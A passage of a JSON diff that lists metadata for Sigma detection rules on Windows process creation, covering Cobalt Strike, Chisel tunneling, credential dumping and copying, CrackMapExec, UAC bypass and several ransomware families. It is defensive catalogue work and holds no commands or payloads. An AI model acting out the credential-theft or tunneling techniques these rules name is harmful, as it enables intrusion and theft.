"attack.t1546.001" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_change_default_file_association.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a program changes the default file association of any extension to an executable", + "uuid": "ae6f14e6-14de-45b0-9f44-c0986f50dc89", + "value": "Change Default File Association To Executable", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_assoc_susp.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.001" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_change_default_file_assoc_susp.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Chisel tunneling tool via the commandline arguments", + "uuid": "8b0e12da-d3c3-49db-bb4f-256703f380e5", + "value": "Chisel Tunneling Tool Usage", + "meta": { + "refs": [ + "https://github.com/jpillora/chisel/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.001" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_chisel_usage.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Some false positives may occure with other tools with similar commandlines" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell process spawning a 'chrome.exe' process with the 'load-extension' flag to start a new chrome instance with custom extensions, as seen being used in 'ChromeLoader'", + "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", + "value": "Powershell ChromeLoader Browser Hijacker", + "meta": { + "refs": [ + "https://redcanary.com/blog/chromeloader/", + "https://emkc.org/s/RJjuLa", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chrome_load_extension.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1176" + ], + "creation_date": "2022/06/19", + "filename": "proc_creation_win_chrome_load_extension.yml", + "author": "Aedan Russell, frack113 (sigma)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", + "uuid": "f44800ac-38ec-471f-936e-3fa7d9c53100", + "value": "CleanWipe Usage", + "meta": { + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cleanwipe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_cleanwipe.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "high", + "falsepositive": [ + "Legitimate administrative use (Should be investigated either way)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", + "uuid": "ddeff553-5233-4ae9-bbab-d64d2bd634be", + "value": "Use of CLIP", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_clip.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of cmdkey to look for cached credentials", + "uuid": "07f8bdc2-c9b3-472a-9817-5a670b872f53", + "value": "Cmdkey Cached Credentials Recon", + "meta": { + "refs": [ + "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", + "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.005" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_cmdkey_recon.yml", + "author": "jmallette, Florian Roth, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", + "uuid": "379fa130-190e-4c3f-b7bc-6c8e834485f3", + "value": "Windows Cmd Delete File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/01/15", + "filename": "proc_creation_win_cmd_delete.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible payload obfuscation via the commandline", + "uuid": "a77c1610-fc73-4019-8e29-0f51efc04a51", + "value": "Suspicious Dosfuscation Character in Commandline", + "meta": { + "refs": [ + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/02/15", + "filename": "proc_creation_win_cmd_dosfuscation.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of \"/R <\" to read and execute a file via cmd.exe", + "uuid": "00a4bacd-6db4-46d5-9258-a7d5ebff4003", + "value": "Read and Execute a File Via Cmd.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_cmd_read_contents.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use \">\" to redicrect information in commandline", + "uuid": "4f4eaa9f-5ad4-410c-a4be-bc6132b0175a", + "value": "Redirect Output in CommandLine", + "meta": { + "refs": [ + "https://ss64.com/nt/syntax-redirection.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/22", + "filename": "proc_creation_win_cmd_redirect.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects inline windows shell commands redirecting output via the \">\" symbol to a suspicious location", + "uuid": "8e0bb260-d4b2-4fff-bb8d-3f82118e6892", + "value": "Suspicious CMD Shell Redirect", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_cmd_redirection_susp_folder.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", + "uuid": "4b60e6f2-bf39-47b4-b4ea-398e33cfe253", + "value": "CMSTP UAC Bypass via COM Object Access", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://twitter.com/hFireF0X/status/897640081053364225", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ], + "creation_date": "2019/07/31", + "filename": "proc_creation_win_cmstp_com_object_access.yml", + "author": "Nik Seetharaman, Christian Burkard", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "uuid": "7d4cdc5a-0076-40ca-aac8-f7e714570e47", + "value": "CMSTP Execution Process Creation", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ], + "creation_date": "2018/07/16", + "filename": "proc_creation_win_cmstp_execution_by_creation.yml", + "author": "Nik Seetharaman", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", + "uuid": "647c7b9e-d784-4fda-b9a0-45c565a7b729", + "value": "Operator Bloopers Cobalt Strike Commands", + "meta": { + "refs": [ + "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/05/06", + "filename": "proc_creation_win_cobaltstrike_bloopers_cmd.yml", + "author": "_pete_0, TheDFIRReport", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Cobalt Strike module commands accidentally entered in the CMD shell", + "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48", + "value": "Operator Bloopers Cobalt Strike Modules", + "meta": { + "refs": [ + "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_modules.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/05/06", + "filename": "proc_creation_win_cobaltstrike_bloopers_modules.yml", + "author": "_pete_0, TheDFIRReport", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", + "uuid": "ae9c6a7c-9521-42a6-915e-5aaa8689d529", + "value": "CobaltStrike Load by Rundll32", + "meta": { + "refs": [ + "https://www.cobaltstrike.com/help-windows-executable", + "https://redcanary.com/threat-detection-report/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/06/01", + "filename": "proc_creation_win_cobaltstrike_load_by_rundll32.yml", + "author": "Wojciech Lesicki", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) and also cases in which a China Chopper like webshell is used to run whoami", + "uuid": "f35c5d71-b489-4e22-a115-f003df287317", + "value": "CobaltStrike Process Patterns", + "meta": { + "refs": [ + "https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_process_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_cobaltstrike_process_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other programs that cause these patterns (please report)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking", + "uuid": "087790e3-3287-436c-bccf-cbd0184a7db1", + "value": "Cmd.exe CommandLine Path Traversal", + "meta": { + "refs": [ + "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/", + "https://twitter.com/Oddvarmoe/status/1270633613449723905", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2020/06/11", + "filename": "proc_creation_win_commandline_path_traversal.yml", + "author": "xknow @xknow_infosec, Tim Shelton", + "level": "high", + "falsepositive": [ + "(not much) some benign Java tools may product false-positive commandlines for loading libraries" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal", + "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b", + "value": "Command Line Path Traversal Evasion", + "meta": { + "refs": [ + "https://twitter.com/hexacorn/status/1448037865435320323", + "https://twitter.com/Gal_B1t/status/1062971006078345217", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2021/10/26", + "filename": "proc_creation_win_commandline_path_traversal_evasion.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Google Drive", + "Citrix" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", + "uuid": "435e10e4-992a-4281-96f3-38b11106adde", + "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_computer_discovery_get_adcomputer.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/11/10", + "filename": "proc_creation_win_computer_discovery_get_adcomputer.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", + "uuid": "ee5e119b-1f75-4b34-add8-3be976961e39", + "value": "Conhost.exe CommandLine Path Traversal", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/06/14", + "filename": "proc_creation_win_conhost_path_traversal.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Conti ransomware command line ioc", + "uuid": "689308fc-cfba-4f72-9897-796c1dc61487", + "value": "Conti Ransomware Execution", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.s0575", + "attack.t1486" + ], + "creation_date": "2021/10/12", + "filename": "proc_creation_win_conti_cmd_ransomware.yml", + "author": "frack113", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command used by conti to dump database", + "uuid": "2f47f1fd-0901-466e-a770-3b7092834a1b", + "value": "Conti Backup Database", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_sqlcmd.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2021/08/16", + "filename": "proc_creation_win_conti_sqlcmd.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the malicious use of a control panel item", + "uuid": "0ba863e6-def5-4e50-9cea-4dd8c7dc46a4", + "value": "Control Panel Items", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1196/", + "https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218.002", + "attack.persistence", + "attack.t1546" + ], + "creation_date": "2020/06/22", + "filename": "proc_creation_win_control_panel_item.yml", + "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Files with well-known filenames (sensitive files with credential data) copying", + "uuid": "e7be6119-fc37-43f0-ad4f-1f3f99be2f9f", + "value": "Copying Sensitive Files with Credential Data", + "meta": { + "refs": [ + "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copying_sensitive_files_with_credential_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003", + "car.2013-07-001", + "attack.s0404" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_copying_sensitive_files_with_credential_data.yml", + "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the copy command to copy files with the .dmp extensions from a remote share", + "uuid": "044ba588-dff4-4918-9808-3f95e8160606", + "value": "Copy DMP Files From Share", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copy_dmp_from_share.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_copy_dmp_from_share.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process patterns found in logs when CrackMapExec is used", + "uuid": "f26307d8-14cd-47e3-a26b-4b4769f24af6", + "value": "CrackMapExec Process Patterns", + "meta": { + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crackmapexec_patterns.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/03/12", + "filename": "proc_creation_win_crackmapexec_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag or a renamed execution of the tool", + "uuid": "4f73421b-5a0b-4bbf-a892-5a7fb99bea66", + "value": "Mavinject Inject DLL Into Running Process", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", + "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", + "https://twitter.com/gN3mes1s/status/941315826107510784", + "https://reaqta.com/2017/12/mavinject-microsoft-injector/", + "https://twitter.com/Hexacorn/status/776122138063409152", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creation_mavinject_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.001", + "attack.t1218.013" + ], + "creation_date": "2021/07/12", + "filename": "proc_creation_win_creation_mavinject_process_injection.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", + "uuid": "df1f26d3-bea7-4700-9ea2-ad3e990cf90e", + "value": "Node Process Executions", + "meta": { + "refs": [ + "https://twitter.com/mttaggart/status/1511804863293784064", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creative_cloud_node_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127", + "attack.t1059.007" + ], + "creation_date": "2022/04/06", + "filename": "proc_creation_win_creative_cloud_node_abuse.yml", + "author": "Max Altgelt", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", + "uuid": "b7966f4a-b333-455b-8370-8ca53c229762", + "value": "Dropping Of Password Filter DLL", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", + "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556.002" + ], + "creation_date": "2020/10/29", + "filename": "proc_creation_win_credential_access_via_password_filter.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Credential Acquisition via Registry Hive Dumping", + "uuid": "4d6c9da1-318b-4edf-bcea-b6c93fa98fd0", + "value": "Credential Acquisition via Registry Hive Dumping", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/10/04", + "filename": "proc_creation_win_credential_acquisition_registry_hive_dumping.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Archer malware invocation via rundll32", + "uuid": "3d4aebe0-6d29-45b2-a8a4-3dfde586a26d", + "value": "Fireball Archer Install", + "meta": { + "refs": [ + "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", + "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2017/06/03", + "filename": "proc_creation_win_crime_fireball.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Maze ransomware word document droppers", + "uuid": "29fd07fc-9cfd-4331-b7fd-cc18dfa21052", + "value": "Maze Ransomware", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", + "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1047", + "attack.impact", + "attack.t1490" + ], + "creation_date": "2020/05/08", + "filename": "proc_creation_win_crime_maze_ransomware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Snatch ransomware word document droppers", + "uuid": "5325945e-f1f0-406e-97b8-65104d393fff", + "value": "Snatch Ransomware", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_snatch_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2020/08/26", + "filename": "proc_creation_win_crime_snatch_ransomware.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Scripts that shutdown the system immediately and reboot them in safe mode are unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters or strings often used by crypto miners", + "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55", + "value": "Windows Crypto Mining Indicators", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496" + ], + "creation_date": "2021/10/26", + "filename": "proc_creation_win_crypto_mining_monero.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners", + "Some build frameworks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a curl process start on Windows, which indicates a file download from a remote location or a simple web request to a remote server", + "uuid": "bbeaed61-1990-4773-bf57-b81dbad7db2d", + "value": "Curl Usage on Windows", + "meta": { + "refs": [ + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/07/05", + "filename": "proc_creation_win_curl_download.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service", + "uuid": "cd479ccc-d8f0-4c66-ba7d-e06286f3f887", + "value": "CVE-2021-26857 Exchange Exploitation", + "meta": { + "refs": [ + 